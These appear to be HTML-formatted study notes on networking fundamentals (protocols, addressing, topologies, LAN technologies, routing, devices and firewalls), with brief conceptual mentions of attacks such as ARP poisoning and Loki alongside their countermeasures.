&lt;b&gt;UDP&amp;nbsp;&lt;/b&gt;is a best-effort and connectionless protocol. It has neither packet sequencing nor flow and congestion control,&amp;nbsp;and the destination does not acknowledge every packet it receives(this adds extra overhead for TCP).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Well-Known Ports&lt;/b&gt;&lt;br /&gt;
Port numbers up to 1023 (0–1023) are called well-known ports and they can be used only by privileged system or root processes.&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;port 25 is SMTP, port 80 is mapped to HTTP,&amp;nbsp;Telnet port 23,&amp;nbsp;SNMP ports 161 and 162,&amp;nbsp;FTP ports 21 and 20&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;The TCP Handshake&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The host sends a synchronous (SYN) packet to the receiver. The receiver acknowledges this&amp;nbsp;by sending a SYN/ACK packet.&amp;nbsp;The sending host acknowledges this with an acknowledgment (ACK) packet.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;IP Addressing&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
IPv4 uses 32 bits for its addresses, whereas IPv6 uses 128 bits.&lt;br /&gt;
&lt;br /&gt;
Class A: 0.0.0.0 to 127.255.255.255: The first byte is the network portion and the remaining three bytes are the host portion.&lt;br /&gt;
Class B: 128.0.0.0 to&amp;nbsp;191.255.255.255:&amp;nbsp;The first two bytes are the network portion and the remaining two bytes are the host&amp;nbsp;portion.&lt;br /&gt;
Class&amp;nbsp;C:&amp;nbsp;192.0.0.0 to&amp;nbsp;223.255.255.255:&amp;nbsp;The first three bytes are the network portion and the remaining one byte is the host&amp;nbsp;portion.&lt;br /&gt;
Class&amp;nbsp;D:&amp;nbsp;224.0.0.0 to&amp;nbsp;239.255.255.255:&amp;nbsp;Used for multicast addresses.&lt;br /&gt;
Class E 240.0.0.0 to&amp;nbsp;255.255.255.255:&amp;nbsp;Reserved for research.&lt;br /&gt;
&lt;br /&gt;
A &lt;b&gt;subnet &lt;/b&gt;is created from the host portion of an IP address to designate a &quot;sub&quot; network. This allows us to further break the&amp;nbsp;host portion of the address into two or more logical groupings. A network can be logically&amp;nbsp;partitioned to reduce administration headaches, traffic performance, and potentially security.&amp;nbsp;&lt;u&gt;&lt;i&gt;Subnetting is particularly beneficial in keeping down routing table sizes because external routers can directly send data to&amp;nbsp;the actual network segment&lt;/i&gt;&lt;/u&gt; without having to worry about the internal architecture of that network and getting the data to&amp;nbsp;individual hosts. This job can be handled by the internal routers, which can determine the individual hosts in a subnetted&amp;nbsp;environment and save the external routers the hassle of analyzing all the 32 bits of an IP address and just look at the&amp;nbsp;&quot;masked&quot; bits.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Note: To slow down depletion of IP addresses, classless&amp;nbsp;interdomain routing (CIDR) was created. A Class B address range is usually too large for most companies, and a class C&amp;nbsp;address range is too small, so CIDR provides the flexibility to increase or decrease the class sizes as necessary. CIDR is&amp;nbsp;the method to specify more flexible IP address classes.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;IP provides addressing, packet fragmentation, and packet timeouts. To ensure that packets do not continually&amp;nbsp;traverse a network forever, IP provides a Time to Live (TTL) value that is decremented every time the packet&amp;nbsp;passes through a router. IP can also provide a Type of Service (ToS) capability, which means it can prioritize&amp;nbsp;different packets for time-sensitive functions.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;IPv6&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;increases the IP address size from 32 bits to 128 bits. More addresses.&lt;/li&gt;
&lt;li&gt;Scalability of multicast routing is improved by adding a &quot;scope&quot; field to multicast addresses.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;new type of&amp;nbsp;address called an anycast address, which is used to send a packet to any one of a group of nodes.&lt;/li&gt;
&lt;li&gt;Some IPv4 header fields have been dropped or made optional.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;enable the labeling of packets belonging to particular traffic &quot;flows&quot; for which the sender&amp;nbsp;requests special handling, such as nondefault QoS or &quot;real-time&quot; service.&lt;/li&gt;
&lt;li&gt;Extensions to support authentication, data integrity, and (optional) data confidentiality. Via IPSec inbuilt into IPv6.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

Network Topology&lt;/h3&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;A &lt;b&gt;ring &lt;/b&gt;topology has a series of devices connected by unidirectional transmission links, as shown in Figure 7-18. These&amp;nbsp;links form a closed loop and do not connect to a central system. Example: FDDI.&lt;/li&gt;
&lt;li&gt;In a simple &lt;b&gt;bus &lt;/b&gt;topology, a single cable runs the entire length of the network. Nodes are attached to the network through&amp;nbsp;drop points on this cable. Data communications transmit the length of the medium, and each packet transmitted has the&amp;nbsp;capability of being &quot;looked at&quot; by all nodes.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;linear bus topology has a single cable with nodes attached&lt;/li&gt;
&lt;li&gt;&lt;b&gt;tree &lt;/b&gt;topology has branches from the single cable, and each branch can contain many nodes.&lt;/li&gt;
&lt;li&gt;Traditionally, Ethernet uses bus and star topologies.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;In a star topology, all nodes connect to a central device such as a switch. Each node has a dedicated link to the central&amp;nbsp;device.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Although Token Ring is usually thought of as a ring and&amp;nbsp;Ethernet is considered a bus implementation, these descriptions apply only to how they work logically, which takes place at&amp;nbsp;the data link layer. They can easily be physically implemented as a star, and they usually are.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Mesh topology&amp;nbsp;is usually a network of interconnected routers and&amp;nbsp;switches that provides multiple paths to all the nodes on the network.&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;full mesh topology: every node is directly&amp;nbsp;connected to every other node(redundancy).&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Partial mesh topology: every node is not&amp;nbsp;directly connected(Internet)&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;b&gt;LAN&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
A LAN is a network that provides shared communication and resources in a relatively small area.&amp;nbsp;A&amp;nbsp;WAN connects LANs over great distances geographically.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;When two distinct LANs are connected by a router, the result is an internetwork, not a larger LAN. Each&amp;nbsp;distinct LAN has its own addressing scheme, broadcast domain, and communication mechanisms. If two LANs are&amp;nbsp;connected by a different data link layer technology, such as frame relay or X.25, they are considered a WAN&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Ethernet(IEEE 802.3)&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
LAN-sharing technology that enables several devices to communicate on the same network.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Shares media. (All devices must take turns and collisions can take place.)&lt;/li&gt;
&lt;li&gt;Uses broadcast and collision domains.&lt;/li&gt;
&lt;li&gt;Uses the carrier sense multiple access with collision detection (CSMA/CD) access method.&lt;/li&gt;
&lt;li&gt;Supports full duplex on twisted-pair implementations.&lt;/li&gt;
&lt;li&gt;Can use coaxial or twisted-pair media.&lt;/li&gt;
&lt;li&gt;Types:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;10Base2, ThinNet, coaxial cable. Max length of 185 m,10-Mbps&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;requires British Naval Connectors (BNCs) to network devices.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;10Base5, ThickNet, thicker coaxial cable.
10-Mbps&lt;/li&gt;
&lt;li&gt;10Base-T, twisted-pair copper,star topology,RJ-45 connector.
10-Mbps&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Fast Ethernet is regular Ethernet, except that it runs at 100 Mbps over twisted-pair wiring instead of at 10 Mbps&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Token Ring(IEEE 802.5)&lt;/b&gt;&lt;br /&gt;
LAN technology. Uses a tokenpassing&amp;nbsp;technology with a star-configured topology.&amp;nbsp;Physically, the&amp;nbsp;topology can be a star but the signals travels&amp;nbsp;in a logical ring. Each computer is connected to a central hub, called a Multistation Access Unit (MAU). &amp;nbsp;A device cannot put data on the network wire without having possession of a&amp;nbsp;token, a control frame that travels in a logical circle and is &quot;picked up&quot; when a system needs to communicate. This is&amp;nbsp;different from Ethernet, in which all the devices attempt to communicate at the same time. This is why Ethernet is referred&amp;nbsp;to as a &quot;chatty protocol&quot; and has collisions. Slow compared to Ethernet. Not used much anymore.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Differences between Ethernet, Token Ring, and FDDI&lt;/b&gt;&amp;nbsp;?&lt;br /&gt;
These technologies are data link layer technologies( actually&amp;nbsp;MAC layer). These LAN&amp;nbsp;technologies differ in how they communicate to the protocol stack and what type of&amp;nbsp;functionality&amp;nbsp;they can provide.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Fiber Distributed Data Interface (FDDI)(802.8)&lt;/b&gt;&lt;br /&gt;
High-speed token-passing media access technology. 100 Mbps and is usually&lt;br /&gt;
used as a backbone network using fiber-optic cabling. Also provides fault tolerance by offering a second counter-rotating&amp;nbsp;fiber ring.&amp;nbsp;The benefit of FDDI is that it can work over long distances and at high speeds with minimal interference.&amp;nbsp;It enables several tokens to be present on the ring at the same time, causing more communication to take place&amp;nbsp;simultaneously, and it provides predictable delays that help connected networks and devices know what to expect and&amp;nbsp;when.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Cabling&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Attenuation is the loss of signal strength when a cable exceeds its maximum length.
&lt;/li&gt;
&lt;li&gt;If the cable has an outer foil&amp;nbsp;shielding, it is referred to as shielded twisted pair (&lt;b&gt;STP&lt;/b&gt;), which adds protection from radio frequency interference and&amp;nbsp;electromagnetic interference.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Another type of twisted-pair cabling does not have this extra outer shielding and is called&amp;nbsp;unshielded twisted pair (&lt;b&gt;UTP&lt;/b&gt;).&lt;/li&gt;
&lt;li&gt;STP and UTP are twisted-pair cabling types that are the most popular, cheapest, and easiest to work with. However,&amp;nbsp;they are the easiest to tap into, have crosstalk issues, and are vulnerable to electromagnetic interference (EMI).&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Coaxial cable is more expensive than UTP and STP, is more resistant to EMI, and can carry baseband and broadband&amp;nbsp;technologies.&lt;/li&gt;
&lt;li&gt;Fiber-optic cabling carries data as light waves, is expensive, can transmit data at high speeds, is difficult to tap into,&amp;nbsp;and is resistant to EMI. If security is extremely important, fiber cabling should be used.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Because it uses glass, &lt;b&gt;fiber-optic&lt;/b&gt; cabling has higher transmission speeds that allow signals to travel over longer distances.&amp;nbsp;Fiber cabling is not as affected by attenuation and EMI when compared to cabling that uses copper. It does not radiate&amp;nbsp;signals.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

&lt;b&gt;Transmission Methods&lt;/b&gt;&lt;/h3&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Difference between broadcast and multicast is that in a broadcast one-to-all transmission, everyone gets the data,&amp;nbsp;whereas in a multicast, only the few who have chosen to receive the data actually get it ( the local router is informed which informs router above it etc till the whole path is decided).&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Internet Group Management Protocol (&lt;b&gt;IGMP&lt;/b&gt;) is used to report multicast group memberships to routers. When a user&amp;nbsp;chooses to accept multicast traffic, she becomes a member of a particular multicast group.&lt;/li&gt;
&lt;li&gt;IP multicast protocols use a Class D address, which is a special address space designed especially for multicasting. It can&amp;nbsp;be used to send out information, multimedia data, and even real-time video and voice clips.&lt;/li&gt;
&lt;li&gt;An &lt;b&gt;MTU&lt;/b&gt;(maximum transmission unit) is a parameter that indicates how much data a frame can carry on a specific network. Different types of&amp;nbsp;network technologies may require different MTU sizes, which is why frames are sometimes fragmented.&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Ethernet Transmission&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
Ethernet uses &lt;b&gt;CSMA &lt;/b&gt;as an access method to the network cable. There are two distinct types of CSMA: CSMA/CD and&amp;nbsp;CSMA/CA.&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Carrier sense multiple access with collision detection (CSMA/CD) protocol, they monitor the transmission&amp;nbsp;activity on the wire so they can determine when would be the best time to transmit data.&lt;/li&gt;
&lt;li&gt;Carrier sense multiple access with collision avoidance (CSMA/CA) is an access method in which each computer&amp;nbsp;signals its intent to transmit data before it actually does so. This tells all other computers on the network not to transmit&amp;nbsp;data right now because doing so could cause a collision.The wireless LAN technology, 802.11, uses CSMA/CA for its media access functionality.&lt;/li&gt;
&lt;/ul&gt;
An Ethernet network can have broadcast&amp;nbsp;and collision domains.&amp;nbsp;If the same subnet is divided by bridges, the bridges can enable the broadcast traffic to pass between the different&amp;nbsp;parts of a subnet, but not the collisions.&amp;nbsp;Isolating&lt;br /&gt;
collision domains reduces the amount of collisions that take place on a network and increases its overall performance. This can also help with security where network sniffers can only look at broadcast and collision traffic within one subnet.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Address&amp;nbsp;Resolution Protocol (ARP)&lt;/b&gt;.&lt;br /&gt;
The data link layer cannot understand the IP address and thus invokes ARP. ARP&amp;nbsp;broadcasts a frame requesting the MAC address that corresponds with the destination IP address. Each computer on the&amp;nbsp;subnet receives this broadcast frame, and all but the computer that has the requested IP address ignore it. The computer&amp;nbsp;that has the destination IP address responds with its MAC address.&amp;nbsp;Sometimes attackers alter a system&#39;s ARP table so it contains incorrect information. This is called &lt;b&gt;&lt;i&gt;ARP table poisoning&lt;/i&gt;&lt;/b&gt;.&amp;nbsp;The attacker&#39;s goal is to receive packets intended for another computer. This is a type of masquerading attack.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;DHCP&amp;nbsp;&lt;/b&gt;based network&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;The client computer broadcasts a DHCPDISCOVER message on the network.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;DHCP server responds with a&amp;nbsp;DHCPOFFER packet, with an IP address.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Once the client responds the server with a&amp;nbsp;DHCPREQUEST packet confirming its acceptance.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The server acknowledges with a DHCPACK&amp;nbsp;packet, mentioning the validity period (lease) for the allocated parameters.&lt;/li&gt;
&lt;li&gt;In DHCP, clients can masquerade as valid clients or as unofficial DHCP servers.&amp;nbsp;DHCP &lt;b&gt;&lt;i&gt;snooping &lt;/i&gt;&lt;/b&gt;ensures that DHCP servers can assign IP addresses to only selected systems,identified by their MAC addresses. Also, advance network switches now have capability to direct clients toward legitimate&amp;nbsp;DHCP servers to get IP addresses and restrict rogue systems from becoming DHCP servers on the network.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Reverse Address&amp;nbsp;Resolution Protocol (&lt;b&gt;RARP&lt;/b&gt;)&lt;br /&gt;
Diskless workstations use&amp;nbsp;RARP frames which goes to all systems on the subnet, but only the RARP server responds.&amp;nbsp;RARP server finds which IP address matches the broadcast hardware address and sends the&amp;nbsp;IP address back to the requesting computer.&amp;nbsp;The Boot Protocol (&lt;b&gt;BOOTP&lt;/b&gt;) was created after RARP and&amp;nbsp;usually provides more functionality to diskless&amp;nbsp;workstations.&lt;u&gt;&lt;i&gt;RARP evolved into BOOTP, which evolved into DHCP&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
Internet Control Message Protocol (&lt;b&gt;ICMP&lt;/b&gt;)&lt;br /&gt;
Delivers status messages,&amp;nbsp;reports errors, replies to certain requests, reports routing information, and is used to test connectivity and troubleshoot&amp;nbsp;problems on IP networks. Example, ping&amp;nbsp;sends out ICMP ECHO REQUEST frames.&amp;nbsp;The router selects the proper ICMP response and sends it back to the&amp;nbsp;requesting host, indicating that problems were encountered with the transmission request.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Loki Attack&lt;/b&gt;&lt;br /&gt;
Loki is actually a client/server program used by hackers to set up backdoors on systems. To gain access and open a remote shell to this computer, an&amp;nbsp;attacker sends commands inside of ICMP packets. Most routers are configured to&amp;nbsp;allow ICMP traffic to come and go out of the network, based on the assumption that this is safe because ICMP was&amp;nbsp;developed to not hold any data or a payload.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

&lt;b&gt;Routing Protocols&lt;/b&gt;&lt;/h3&gt;
Individual networks on the Internet are referred to as autonomous systems (ASs).&amp;nbsp;A dynamic routing protocol can discover routes and build a routing table vs static &amp;nbsp;that requires manual configuration.&amp;nbsp;Route &lt;i&gt;flapping &lt;/i&gt;refers to the constant changes in the availability of routes. A &lt;i&gt;black hole &lt;/i&gt;is when a router doesn&#39;t know a link is down and sends messages.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Distance-vector routing protocols&amp;nbsp;make their routing decisions based on the distance (or number of hops) and a vector (a direction). Example:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Routing Information Protocol &lt;b&gt;RIP &lt;/b&gt;is a standard that outlines how routers exchange routing table data. Should be used only in smaller networks.V1 has no authentication, V2 sends passwords in cleartext or&amp;nbsp;hashed with MD5.&lt;/li&gt;
&lt;li&gt;Interior Gateway Routing Protocol IGRP is distance-vector as well but&amp;nbsp;uses five criteria to make a &quot;best route&quot; decision.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Link-state routing protocols&amp;nbsp;build a more accurate routing table because they build a topology database of the network. They look at number of hops between two destinations, packet size, link speed, delay, loading, and&amp;nbsp;reliability.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Open Shortest Path First &lt;b&gt;OSPF &lt;/b&gt;uses link-state algorithms to send out routing table information. Allows for smaller, more frequent routing table updates to take place.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;b&gt;Exterior gateway&amp;nbsp;protocols (EGPs)&lt;/b&gt;&lt;br /&gt;
Exterior routing protocols used by routers connecting different ASs.&amp;nbsp;The Border Gateway Protocol (&lt;b&gt;BGP&lt;/b&gt;) enables routers on different ASs to share routing information to&amp;nbsp;ensure effective and efficient routing between the different AS networks. BGP is commonly used by ISPs. It uses a combination of link-state and distance-vector routing algorithms.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Attacks&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;A majority of the attacks have the goal of&amp;nbsp;misdirecting traffic through the use of spoofed ICMP messages.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;An attacker can masquerade as another router and submit&amp;nbsp;routing table information to the victim router resulting in incorrect dispatch.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;These attacks are successful mainly&amp;nbsp;when routing protocol authentication is not enabled.&lt;/li&gt;
&lt;li&gt;Other DoS attacks exist, such as &lt;u&gt;&lt;i&gt;flooding a router port, buffer overflows, and SYN floods.&lt;/i&gt;&lt;/u&gt;&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Most of these countermeasures involve authentication and encryption of routing data through the use of shared keys or IPSec.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;b&gt;Wormhole Attack&lt;/b&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;An attacker can capture a packet at one location in the network and tunnel it to another location in the network(attacker # 2).&amp;nbsp;This can take place on a wired or wireless&amp;nbsp;network, but it is easier to carry out on a wireless network because the attacker does not need to actually penetrate a&amp;nbsp;physical wire.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The countermeasure is to use a leash, which is just data that are put into a header of the individual&amp;nbsp;packets. The leash restricts the packet&#39;s maximum allowed transmission distance. The leash can be either&amp;nbsp;geographical, which ensures that a packet stays within a certain distance of the sender, or temporal, which limits the lifetime of the packet.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

Networking Devices&lt;/h3&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;A &lt;b&gt;repeater &lt;/b&gt;provides the simplest type of connectivity, because it only repeats and amplifies electrical signals between&amp;nbsp;cable segments.&lt;/li&gt;
&lt;li&gt;A &lt;b&gt;hub &lt;/b&gt;is a multiport repeater. A hub is often referred to as a concentrator. A hub does not understand or work with IP or&amp;nbsp;MAC addresses. The signal is broadcast to all the&amp;nbsp;ports, and thus to all the systems connected to the concentrator.&lt;/li&gt;
&lt;li&gt;A &lt;b&gt;bridge &lt;/b&gt;is a LAN device used to connect LAN segments. It works at the data link layer and therefore works with MAC&amp;nbsp;addresses. If the MAC address is not&amp;nbsp;on the local network segment, the bridge forwards the frame to the necessary network segment.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;A bridge is used to divide overburdened networks into smaller segments to ensure better use of bandwidth and traffic&amp;nbsp;control. A bridge has more intelligence than a repeater.&lt;/li&gt;
&lt;li&gt;bridges can forward all broadcast packets and can overwhelm the network and result in a &lt;i&gt;&lt;u&gt;broadcast storm&lt;/u&gt;&lt;/i&gt;.&lt;/li&gt;
&lt;li&gt;If the bridge receives a request to send a frame to a&amp;nbsp;destination that is not in its forwarding table, it sends out a query frame on each network segment except for the source&amp;nbsp;segment. The destination host is the only one that replies to this query. The bridge updates its table with this computer&amp;nbsp;address and the port to which it is connected, and forwards the frame.&lt;/li&gt;
&lt;li&gt;Spanning Tree Algorithm (STA) ensures that&amp;nbsp;frames do not circle networks forever, provides redundant paths in case a bridge goes down, assigns unique identifiers to&amp;nbsp;each bridge, assigns priority values to these bridges, and calculates path costs.&lt;/li&gt;
&lt;li&gt;If source routing is used instead of transparent bridging, the packets contain the necessary information within them to tell&amp;nbsp;the bridge where they should go. &lt;i&gt;&lt;u&gt;External devices and border routers should not accept packets with source routing information within their&amp;nbsp;&lt;/u&gt;&lt;/i&gt;&lt;i&gt;&lt;u&gt;headers, because that information will override what is laid out in the forwarding and routing tables.&amp;nbsp;&lt;/u&gt;&lt;/i&gt;&lt;i&gt;&lt;u&gt;Source routing can be used by attackers to get around&amp;nbsp;&lt;/u&gt;&lt;/i&gt;&lt;i&gt;&lt;u&gt;certain bridge and router filtering rules.&lt;/u&gt;&lt;/i&gt;&lt;/li&gt;
&lt;li&gt;A local bridge connects two or more LAN segments&amp;nbsp;within a local area.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;A remote bridge can connect two or more LAN segments over a MAN&lt;/li&gt;
&lt;li&gt;A translation bridge is&amp;nbsp;needed if the two LANs being connected are different types and use different standards and protocols. Example, a&amp;nbsp;connection between a Token Ring network and an Ethernet network.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;b&gt;Routers&lt;/b&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Routers are layer 3, or network layer, devices that are used to connect similar or different networks and filter packets based on IP addresses,&amp;nbsp;whereas bridges work at the data link layer and filter frames based on MAC addresses. Routers usually do not&amp;nbsp;pass broadcast information, but bridges do pass broadcast information.&lt;/li&gt;
&lt;li&gt;If two LANs are connected with a bridge, the LANs have been extended, and are in the same&amp;nbsp;broadcast domain. A router can be configured not to forward broadcast information, so if two LANs are connected with a&amp;nbsp;router, an internetwork results. An internetwork is a group of networks connected in a way that enables any node on&amp;nbsp;any network to communicate with any other node. The Internet is an example of an internetwork.&lt;/li&gt;
&lt;li&gt;A router is used when an administrator wants to divide a network along the lines of departments, workgroups, or other&amp;nbsp;business-oriented divisions. A bridge divides segments based more on the traffic type and load.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;b&gt;Switch&lt;/b&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Switches combine the functionality of a repeater and the functionality of a bridge.&amp;nbsp;Any device connected to one port can communicate with&amp;nbsp;a device connected to another port with its own virtual private link.&amp;nbsp;When a frame comes to a hub, the hub sends the frame out through all of its ports.&amp;nbsp;When a frame comes to a bridge, the bridge sends the frame to the port to which the destination network segment is&amp;nbsp;connected. When a frame comes to a switch, the switch sends the frame directly to the destination computer or network.&lt;/li&gt;
&lt;li&gt;When switches are used, contention and collisions are not issues.&lt;/li&gt;
&lt;li&gt;higher-level switches(layer 3, 4), also called&amp;nbsp;multilayered&amp;nbsp;switches&lt;/li&gt;
&lt;li&gt;offer routing&amp;nbsp;functionality, packet inspection, traffic prioritization, and QoS functionality. Most functions are done&amp;nbsp;at the hardware/chip level.&lt;/li&gt;
&lt;li&gt;Multiprotocol Label Switching (&lt;b&gt;MPLS&lt;/b&gt;), allows for faster routing,&amp;nbsp;addresses service requirements for the different packet types. It basically uses tags to append info to the packet and only look at this tag to speed things up.&lt;/li&gt;
&lt;li&gt;switching makes it more difficult for intruders to sniff and monitor network traffic because no&amp;nbsp;broadcast and collision information is continually traveling throughout the network.&lt;/li&gt;
&lt;li&gt;Switching makes VLANs possible and it exists on top of the physical network.&amp;nbsp;VLANs enable an administrator to apply particular security policies to&amp;nbsp;respective logical groups.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;b&gt;Gateway&lt;/b&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Gateway is a general term for software running on a device that connects or translates two different environments.&lt;/li&gt;
&lt;li&gt;A network access server (NAS) can functions as a&amp;nbsp;gateway between telecommunications and network connections.&lt;/li&gt;
&lt;li&gt;Examples, e-mail gateway(&amp;nbsp;gateway will convert the message into a standard that&amp;nbsp;all mail servers understand—usually X.400), gateway between a LAN and a backbone such as FDDI backbone.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;b&gt;PBX&lt;/b&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;is a private telephone switch that is located&amp;nbsp;on a company&#39;s property. This switch performs some of the same switching tasks that take place at the telephone&amp;nbsp;company&#39;s central office. The PBX has a dedicated connection to its local telephone company&#39;s central office, where more&amp;nbsp;intelligent switching takes place.&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;Many companies, for example, have modems hanging off their PBX (or other transmission access methods) to&amp;nbsp;enable the vendor to dial in and perform maintenance to the system. These modems are usually unprotected doorways into&amp;nbsp;a company&#39;s network.&lt;/li&gt;
&lt;li&gt;many PBX systems have default system manager passwords that are hardly ever changed. These can be exploited by&amp;nbsp;a phreaker (a phone hacker)&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

Firewalls&lt;/h3&gt;
&lt;div&gt;
&lt;div&gt;
&lt;i&gt;&lt;b&gt;Packet filtering&lt;/b&gt;(first generation)&lt;/i&gt;&lt;br /&gt;
is a security method of controlling what data can flow into and out of a network. Packet filtering takes&amp;nbsp;place by using ACLs, which are lines of text, called rules, that the device&amp;nbsp;applies to each packet it receives.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Packet-filtering firewalls are scalable, not application dependent, have high performance because they do not carry out extensive processing.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
weaknesses:&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Cannot prevent attacks that employ application-specific vulnerabilities.&lt;/li&gt;
&lt;li&gt;The logging functionality present is limited.&lt;/li&gt;
&lt;li&gt;Most do not support advanced user authentication schemes.&lt;/li&gt;
&lt;li&gt;Many cannot detect a network packet in which the OSI layer 3 addressing information has&amp;nbsp;been altered (spoofed).&lt;/li&gt;
&lt;li&gt;Due to the small number of variables used in access control decisions, they are susceptible to&amp;nbsp;security breaches caused by improper configurations.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
A &lt;b&gt;&lt;i&gt;stateful-inspection&lt;/i&gt;&lt;/b&gt; firewall maintains a state table, which is like a score sheet of&amp;nbsp;who said what to whom. They work at the network and transport layers. Unfortunately they have been the&amp;nbsp;victims of many types of Denial-of-Service (DoS) attacks aimed at flooding the state table with&amp;nbsp;bogus information&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Proxy firewalls&lt;/i&gt;&lt;/b&gt; are second-generation&amp;nbsp;firewalls.&amp;nbsp;It stands between a trusted and untrusted network and makes the connection, each way, on behalf of the&lt;br /&gt;
source. There&amp;nbsp;is no direct connection to internal computers.&lt;br /&gt;
&lt;br /&gt;
